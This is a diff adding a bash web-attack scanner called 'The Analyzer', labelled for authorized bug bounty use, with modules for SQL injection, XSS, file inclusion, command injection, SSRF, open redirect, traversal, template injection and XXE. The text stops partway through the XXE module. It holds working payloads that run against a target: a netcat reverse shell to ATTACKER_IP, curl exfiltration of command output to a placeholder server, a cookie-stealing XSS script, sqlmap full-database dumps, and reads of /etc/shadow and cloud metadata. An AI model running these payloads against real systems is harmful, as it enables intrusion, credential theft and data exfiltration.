|
high|HIGH) echo -e "${RED}${BOLD}HIGH${NC}" ;;
|
||||||
|
medium|MEDIUM) echo -e "${YELLOW}${BOLD}MEDIUM${NC}" ;;
|
||||||
|
low|LOW) echo -e "${BLUE}${BOLD}LOW${NC}" ;;
|
||||||
|
info|INFO) echo -e "${DIM}INFO${NC}" ;;
|
||||||
|
*) echo -e "${DIM}$1${NC}" ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create report header
|
||||||
|
init_report() {
|
||||||
|
local target="$1"
|
||||||
|
local domain=$(get_domain "$target")
|
||||||
|
local ts=$(date '+%Y-%m-%d_%H%M%S')
|
||||||
|
local report_file="$REPORTS_DIR/${domain}_${ts}.md"
|
||||||
|
|
||||||
|
cat > "$report_file" << EOF
|
||||||
|
# The Analyzer Report
|
||||||
|
**Target:** $target
|
||||||
|
**Domain:** $domain
|
||||||
|
**Date:** $(date '+%Y-%m-%d %H:%M:%S')
|
||||||
|
**Analyst:** The Analyzer v1.0
|
||||||
|
**Status:** In Progress
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
EOF
|
||||||
|
echo "$report_file"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Append to report
|
||||||
|
append_report() {
|
||||||
|
local report="$1"
|
||||||
|
local content="$2"
|
||||||
|
echo -e "$content" >> "$report"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Finalize report
|
||||||
|
finalize_report() {
|
||||||
|
local report="$1"
|
||||||
|
local find_count="$2"
|
||||||
|
local vuln_count="$3"
|
||||||
|
|
||||||
|
local ts=$(date '+%Y-%m-%d %H:%M:%S')
|
||||||
|
|
||||||
|
cat >> "$report" << EOF
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- **Total Findings:** $find_count
|
||||||
|
- **Vulnerabilities:** $vuln_count
|
||||||
|
- **Completed:** $ts
|
||||||
|
- **Status:** Complete
|
||||||
|
|
||||||
|
---
|
||||||
|
*Generated by The Analyzer v1.0 — Authorized Bug Bounty Use Only*
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "$report"
|
||||||
|
}
|
||||||
|
|
||||||
|
# List available vector modules
|
||||||
|
list_vectors() {
|
||||||
|
echo -e "${BOLD}Available Attack Vectors:${NC}"
|
||||||
|
echo ""
|
||||||
|
for f in "$VECTORS_DIR"/*.sh; do
|
||||||
|
local name=$(basename "$f" .sh)
|
||||||
|
local desc=$(head -5 "$f" | grep "^# Desc:" | sed 's/^# Desc: //')
|
||||||
|
local num=$(echo "$name" | cut -d- -f1)
|
||||||
|
printf " ${CYAN}[%02d]${NC} %-30s %s\n" "$num" "${name#?-}" "$desc"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# User prompt with default
|
||||||
|
prompt_default() {
|
||||||
|
local msg="$1"
|
||||||
|
local default="$2"
|
||||||
|
read -p " ${ICON_ARROW} $msg [$default]: " input
|
||||||
|
echo "${input:-$default}"
|
||||||
|
}
|
||||||
83
vectors/01-sqli.sh
Executable file
83
vectors/01-sqli.sh
Executable file
@@ -0,0 +1,83 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 01: SQL Injection
|
||||||
|
# Desc: Database injection attacks (basic, blind, time-based, error-based)
|
||||||
|
# Detect: Forms, login pages, URL parameters, search bars
|
||||||
|
# Severity: CRITICAL
|
||||||
|
# Tools: sqlmap, curl
|
||||||
|
|
||||||
|
vector_sqli() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
|
||||||
|
|
||||||
|
print_info "Testing SQL Injection vectors..."
|
||||||
|
|
||||||
|
# Find injectable parameters
|
||||||
|
local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10)
|
||||||
|
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10)
|
||||||
|
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
# 1. Basic SQLi test with sqlmap
|
||||||
|
if command -v sqlmap &>/dev/null; then
|
||||||
|
print_sub "Running sqlmap (basic scan)..."
|
||||||
|
local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \
|
||||||
|
--output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100)
|
||||||
|
|
||||||
|
if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then
|
||||||
|
local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5)
|
||||||
|
print_find "SQL Injection!" "$injectable"
|
||||||
|
|
||||||
|
# Save finding
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: SQL Injection
|
||||||
|
DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target)
|
||||||
|
EVIDENCE: $injectable
|
||||||
|
EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt"
|
||||||
|
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 2. Manual error-based detection
|
||||||
|
print_sub "Checking error-based SQLi..."
|
||||||
|
local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--")
|
||||||
|
|
||||||
|
for payload in "${error_payloads[@]}"; do
|
||||||
|
local test_url="${target}${target}"
|
||||||
|
[[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}"
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then
|
||||||
|
print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# 3. Time-based blind detection
|
||||||
|
print_sub "Checking time-based blind SQLi..."
|
||||||
|
local sleep_test="${target}"
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
sleep_test="${target}&id=1' OR SLEEP(3)--"
|
||||||
|
else
|
||||||
|
sleep_test="${target}?id=1' OR SLEEP(3)--"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local start_time=$(date +%s)
|
||||||
|
curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1
|
||||||
|
local end_time=$(date +%s)
|
||||||
|
local elapsed=$((end_time - start_time))
|
||||||
|
|
||||||
|
if [ "$elapsed" -ge 3 ]; then
|
||||||
|
print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: SQL Injection (Time-based Blind)
|
||||||
|
DETAIL: Time-based blind SQLi confirmed on $target
|
||||||
|
EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload
|
||||||
|
EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
76
vectors/02-xss.sh
Executable file
76
vectors/02-xss.sh
Executable file
@@ -0,0 +1,76 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 02: Cross-Site Scripting (XSS)
|
||||||
|
# Desc: Reflected, Stored, DOM-based XSS detection
|
||||||
|
# Detect: Forms, search bars, URL parameters, comment sections
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl, custom payloads
|
||||||
|
|
||||||
|
vector_xss() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing XSS vectors..."
|
||||||
|
|
||||||
|
local xss_payloads=(
|
||||||
|
"<script>alert(1)</script>"
|
||||||
|
'"><script>alert(1)</script>'
|
||||||
|
"<img src=x onerror=alert(1)>"
|
||||||
|
"';alert(1);//"
|
||||||
|
"\"><img src=x onerror=alert(1)>"
|
||||||
|
"<svg onload=alert(1)>"
|
||||||
|
"<input autofocus onfocus=alert(1)>"
|
||||||
|
"<body onload=alert(1)>"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Test URL parameters
|
||||||
|
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5)
|
||||||
|
|
||||||
|
if [ -z "$url_params" ]; then
|
||||||
|
# Test query parameter
|
||||||
|
for payload in "${xss_payloads[@]}"; do
|
||||||
|
local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
||||||
|
print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target"
|
||||||
|
echo "SEVERITY: HIGH
|
||||||
|
VECTOR: Cross-Site Scripting (Reflected)
|
||||||
|
DETAIL: Reflected XSS confirmed with payload: $payload
|
||||||
|
EVIDENCE: Payload echoed back in response
|
||||||
|
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
else
|
||||||
|
# Test each parameter
|
||||||
|
for param in $url_params; do
|
||||||
|
for payload in "${xss_payloads[@]}"; do
|
||||||
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
||||||
|
local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/")
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
||||||
|
print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..."
|
||||||
|
echo "SEVERITY: HIGH
|
||||||
|
VECTOR: Cross-Site Scripting (Reflected)
|
||||||
|
DETAIL: Reflected XSS in parameter '$param' on $target
|
||||||
|
EVIDENCE: Payload reflected in response
|
||||||
|
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check for DOM XSS indicators
|
||||||
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||||
|
if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then
|
||||||
|
print_warn "Potential DOM XSS sinks detected in page source"
|
||||||
|
print_info "Manual review recommended for DOM-based XSS"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
69
vectors/03-lfi.sh
Executable file
69
vectors/03-lfi.sh
Executable file
@@ -0,0 +1,69 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 03: Local/Remote File Inclusion
|
||||||
|
# Desc: LFI/RFI via file parameters, path traversal
|
||||||
|
# Detect: file=, page=, include=, template=, load= parameters
|
||||||
|
# Severity: CRITICAL
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_lfi() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing File Inclusion (LFI/RFI) vectors..."
|
||||||
|
|
||||||
|
local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content")
|
||||||
|
local lfi_payloads=(
|
||||||
|
"/etc/passwd"
|
||||||
|
"../../../../etc/passwd"
|
||||||
|
"../../../../windows/win.ini"
|
||||||
|
"/proc/self/environ"
|
||||||
|
"../../../../etc/hosts"
|
||||||
|
"php://filter/convert.base64-encode/resource=index"
|
||||||
|
"php://filter/convert.base64-encode/resource=config"
|
||||||
|
"/etc/nginx/nginx.conf"
|
||||||
|
"../../../../etc/shadow"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Try common LFI parameters
|
||||||
|
for param in "${lfi_params[@]}"; do
|
||||||
|
for payload in "${lfi_payloads[@]}"; do
|
||||||
|
local test_url=""
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
test_url="${target}&${param}=${payload}"
|
||||||
|
else
|
||||||
|
test_url="${target}?${param}=${payload}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then
|
||||||
|
print_find "LFI confirmed!" "File read via parameter $param with payload: $payload"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: Local File Inclusion (LFI)
|
||||||
|
DETAIL: LFI via parameter '$param' on $target
|
||||||
|
EVIDENCE: System files readable
|
||||||
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check for PHP filter base64
|
||||||
|
if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then
|
||||||
|
local decoded=$(echo "$response" | base64 -d 2>/dev/null)
|
||||||
|
if [ -n "$decoded" ] && echo "$decoded" | grep -qi "<?php\|<\w+\s*\|config\|db_host\|DB_HOST"; then
|
||||||
|
print_find "LFI with PHP filter!" "Source code disclosure via php://filter"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: LFI via PHP Filter
|
||||||
|
DETAIL: PHP source code disclosure via php://filter on $target
|
||||||
|
EVIDENCE: Base64 encoded source retrieved and decoded
|
||||||
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
74
vectors/04-command-injection.sh
Executable file
74
vectors/04-command-injection.sh
Executable file
@@ -0,0 +1,74 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 04: Command Injection
|
||||||
|
# Desc: OS command injection via input fields, parameters
|
||||||
|
# Detect: Ping, traceroute, nslookup, whois, host, exec parameters
|
||||||
|
# Severity: CRITICAL
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_cmdi() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing Command Injection vectors..."
|
||||||
|
|
||||||
|
local cmd_params=("ping" "host" "lookup" "traceroute" "nslookup" "whois" "exec" "command" "cmd" "run" "trace" "target" "ip" "server")
|
||||||
|
local cmd_payloads=(
|
||||||
|
";id"
|
||||||
|
"|id"
|
||||||
|
"`id`"
|
||||||
|
"$(id)"
|
||||||
|
";whoami"
|
||||||
|
"|whoami"
|
||||||
|
";uname -a"
|
||||||
|
"|cat /etc/passwd"
|
||||||
|
"& ping -c 1 127.0.0.1 &"
|
||||||
|
"| nc -e /bin/sh ATTACKER_IP 4444"
|
||||||
|
";sleep 3"
|
||||||
|
"|sleep 3"
|
||||||
|
)
|
||||||
|
|
||||||
|
for param in "${cmd_params[@]}"; do
|
||||||
|
for payload in "${cmd_payloads[@]}"; do
|
||||||
|
local test_url=""
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
test_url="${target}&${param}=${payload}"
|
||||||
|
else
|
||||||
|
test_url="${target}?${param}=${payload}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local start_time=$(date +%s%N)
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
local end_time=$(date +%s%N)
|
||||||
|
local elapsed=$(( (end_time - start_time) / 1000000 ))
|
||||||
|
|
||||||
|
# Check for command output in response
|
||||||
|
if echo "$response" | grep -qiE "uid=[0-9]+|gid=[0-9]+|groups=[0-9]+|root|bin|daemon|Linux"; then
|
||||||
|
print_find "Command Injection!" "Command output detected via parameter $param with payload: $payload"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: Command Injection
|
||||||
|
DETAIL: OS command injection via parameter '$param' on $target
|
||||||
|
EVIDENCE: System command output reflected in response
|
||||||
|
EXPLOIT: ;curl http://YOUR-SERVER/$(id | base64)" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Time-based detection
|
||||||
|
if echo "$payload" | grep -q "sleep"; then
|
||||||
|
if [ "$elapsed" -ge 2000 ]; then
|
||||||
|
print_find "Time-based Command Injection!" "Response delayed ${elapsed}ms with sleep payload"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: Command Injection (Time-based)
|
||||||
|
DETAIL: Time-based command injection via parameter '$param' on $target
|
||||||
|
EVIDENCE: ${elapsed}ms delay with sleep payload
|
||||||
|
EXPLOIT: verify with: ;ping -c 5 YOUR-SERVER" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi-time.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
55
vectors/05-ssrf.sh
Executable file
55
vectors/05-ssrf.sh
Executable file
@@ -0,0 +1,55 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 05: Server-Side Request Forgery
|
||||||
|
# Desc: SSRF via URL params, file fetching, webhooks
|
||||||
|
# Detect: url=, src=, link=, fetch=, file=, callback=, webhook= parameters
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_ssrf() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing SSRF vectors..."
|
||||||
|
|
||||||
|
local ssrf_params=("url" "src" "link" "fetch" "file" "callback" "webhook" "image" "img" "load" "read" "path" "dest" "redirect" "uri" "data")
|
||||||
|
local ssrf_targets=(
|
||||||
|
"http://169.254.169.254/latest/meta-data/"
|
||||||
|
"http://169.254.169.254/"
|
||||||
|
"http://127.0.0.1:80"
|
||||||
|
"http://127.0.0.1:8080"
|
||||||
|
"http://127.0.0.1:3306"
|
||||||
|
"http://127.0.0.1:6379"
|
||||||
|
"http://localhost/flag"
|
||||||
|
"file:///etc/passwd"
|
||||||
|
"file:///proc/self/environ"
|
||||||
|
"http://[::1]:80"
|
||||||
|
"http://0.0.0.0:80"
|
||||||
|
)
|
||||||
|
|
||||||
|
for param in "${ssrf_params[@]}"; do
|
||||||
|
for ssrf_target in "${ssrf_targets[@]}"; do
|
||||||
|
local test_url=""
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
test_url="${target}&${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
|
||||||
|
else
|
||||||
|
test_url="${target}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi "ami-id\|instance-id\|public-keys\|security-credentials\|root:.*:0:0:\|uid=\|DB_HOST\|REDIS\|AWS_"; then
|
||||||
|
print_find "SSRF confirmed!" "Internal resource accessible via parameter $param -> $ssrf_target"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: Server-Side Request Forgery (SSRF)
|
||||||
|
DETAIL: SSRF via parameter '$param' on $target
|
||||||
|
EVIDENCE: Internal data accessible: ${response:0:100}...
|
||||||
|
EXPLOIT: Use to access cloud metadata, internal services, or read local files" > "$REPORTS_DIR/.finding_$(date +%s)_ssrf.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
42
vectors/06-open-redirect.sh
Executable file
42
vectors/06-open-redirect.sh
Executable file
@@ -0,0 +1,42 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 06: Open Redirect
|
||||||
|
# Desc: Unvalidated redirects via URL parameters
|
||||||
|
# Detect: redirect=, url=, next=, return=, goto= parameters
|
||||||
|
# Severity: MEDIUM
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_oredir() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing Open Redirect vectors..."
|
||||||
|
|
||||||
|
local redirect_params=("redirect" "url" "next" "return" "goto" "to" "dest" "destination" "target" "r" "u" "out" "view" "dir")
|
||||||
|
local test_url="https://evil.com"
|
||||||
|
|
||||||
|
for param in "${redirect_params[@]}"; do
|
||||||
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${test_url}'))" 2>/dev/null || echo "$test_url")
|
||||||
|
local test=""
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
test="${target}&${param}=${encoded}"
|
||||||
|
else
|
||||||
|
test="${target}?${param}=${encoded}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local redirect=$(curl -sI --connect-timeout 5 --max-time 10 "$test" 2>/dev/null | grep -i "^location:" | tr -d '\r' | sed 's/[Ll]ocation: //')
|
||||||
|
|
||||||
|
if echo "$redirect" | grep -qi "evil.com"; then
|
||||||
|
print_find "Open Redirect!" "Parameter $param redirects to external domain"
|
||||||
|
echo "SEVERITY: MEDIUM
|
||||||
|
VECTOR: Open Redirect
|
||||||
|
DETAIL: Open redirect via parameter '$param' on $target
|
||||||
|
EVIDENCE: Redirects to $test_url
|
||||||
|
EXPLOIT: Used for phishing: $target?$param=https://phishing-site.com" > "$REPORTS_DIR/.finding_$(date +%s)_oredir.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
50
vectors/07-directory-traversal.sh
Executable file
50
vectors/07-directory-traversal.sh
Executable file
@@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 07: Directory Traversal
|
||||||
|
# Desc: Path traversal to read arbitrary files
|
||||||
|
# Detect: file=, download=, doc=, pdf= parameters
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_dtrav() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing Directory Traversal vectors..."
|
||||||
|
|
||||||
|
local trav_params=("file" "download" "doc" "pdf" "attachment" "d" "f" "folder" "dir" "img" "document" "view" "page")
|
||||||
|
|
||||||
|
for param in "${trav_params[@]}"; do
|
||||||
|
local tests=(
|
||||||
|
"../../../../etc/passwd"
|
||||||
|
"..\\..\\..\\windows\\win.ini"
|
||||||
|
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
|
||||||
|
"....//....//....//etc/passwd"
|
||||||
|
"..;/..;/..;/etc/passwd"
|
||||||
|
)
|
||||||
|
|
||||||
|
for trav in "${tests[@]}"; do
|
||||||
|
local test_url=""
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
test_url="${target}&${param}=${trav}"
|
||||||
|
else
|
||||||
|
test_url="${target}?${param}=${trav}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]"; then
|
||||||
|
print_find "Directory Traversal!" "File read via $param with: $trav"
|
||||||
|
echo "SEVERITY: HIGH
|
||||||
|
VECTOR: Directory Traversal
|
||||||
|
DETAIL: Path traversal via parameter '$param' on $target
|
||||||
|
EVIDENCE: System files readable: ${response:0:100}
|
||||||
|
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_dtrav.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
53
vectors/08-ssti.sh
Executable file
53
vectors/08-ssti.sh
Executable file
@@ -0,0 +1,53 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 08: Server-Side Template Injection
|
||||||
|
# Desc: SSTI in template engines (Jinja2, Twig, Freemarker, etc.)
|
||||||
|
# Detect: Template syntax errors, {{}} reflected, error pages
|
||||||
|
# Severity: CRITICAL
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_ssti() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing SSTI vectors..."
|
||||||
|
|
||||||
|
local ssti_payloads=(
|
||||||
|
"{{7*7}}"
|
||||||
|
"\${7*7}"
|
||||||
|
"#{7*7}"
|
||||||
|
"*{7*7}"
|
||||||
|
"<%= 7*7 %>"
|
||||||
|
"${{7*7}}"
|
||||||
|
"{{config}}"
|
||||||
|
"${7*7}"
|
||||||
|
"{{''.__class__.__mro__[2].__subclasses__()}}"
|
||||||
|
)
|
||||||
|
|
||||||
|
for payload in "${ssti_payloads[@]}"; do
|
||||||
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
||||||
|
local test_url=""
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
test_url="${target}&q=${encoded}"
|
||||||
|
else
|
||||||
|
test_url="${target}?q=${encoded}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -q "49\|${payload}"; then
|
||||||
|
if echo "$response" | grep -q "49"; then
|
||||||
|
print_find "SSTI confirmed!" "Template engine evaluated {{7*7}} = 49"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: Server-Side Template Injection (SSTI)
|
||||||
|
DETAIL: SSTI confirmed on $target
|
||||||
|
EVIDENCE: Payload {{7*7}} evaluated to 49
|
||||||
|
EXPLOIT: Possible RCE: {{''.__class__.__mro__[2].__subclasses__()}} (Jinja2)" > "$REPORTS_DIR/.finding_$(date +%s)_ssti.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
47
vectors/09-xxe.sh
Executable file
47
vectors/09-xxe.sh
Executable file
@@ -0,0 +1,47 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 09: XML External Entity (XXE)
|
||||||
|
# Desc: XXE injection via XML upload/params
|
||||||
|
# Detect: XML endpoints, SOAP APIs, RSS feeds
|
||||||
|
# Severity: CRITICAL
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_xxe() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing XXE vectors..."
|
||||||
|
|
||||||
|
# Check if target accepts XML
|
||||||
|
local content_type=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^content-type:" | tr -d '\r')
|
||||||
|
|
||||||
|
if echo "$content_type" | grep -qi "xml\|soap"; then
|
||||||
|
print_info "XML endpoint detected, testing XXE..."
|
||||||
|
|
||||||
|
local xxe_payload='<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||||
|
]>
|
||||||
|
<root>&xxe;</root>'
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
||||||
|
-X POST \
|
||||||
|
-H "Content-Type: application/xml" \
|
||||||
|
-d "$xxe_payload" \
|
||||||
|
"$target" 2>/dev/null)
|
||||||
|
|
||||||
|
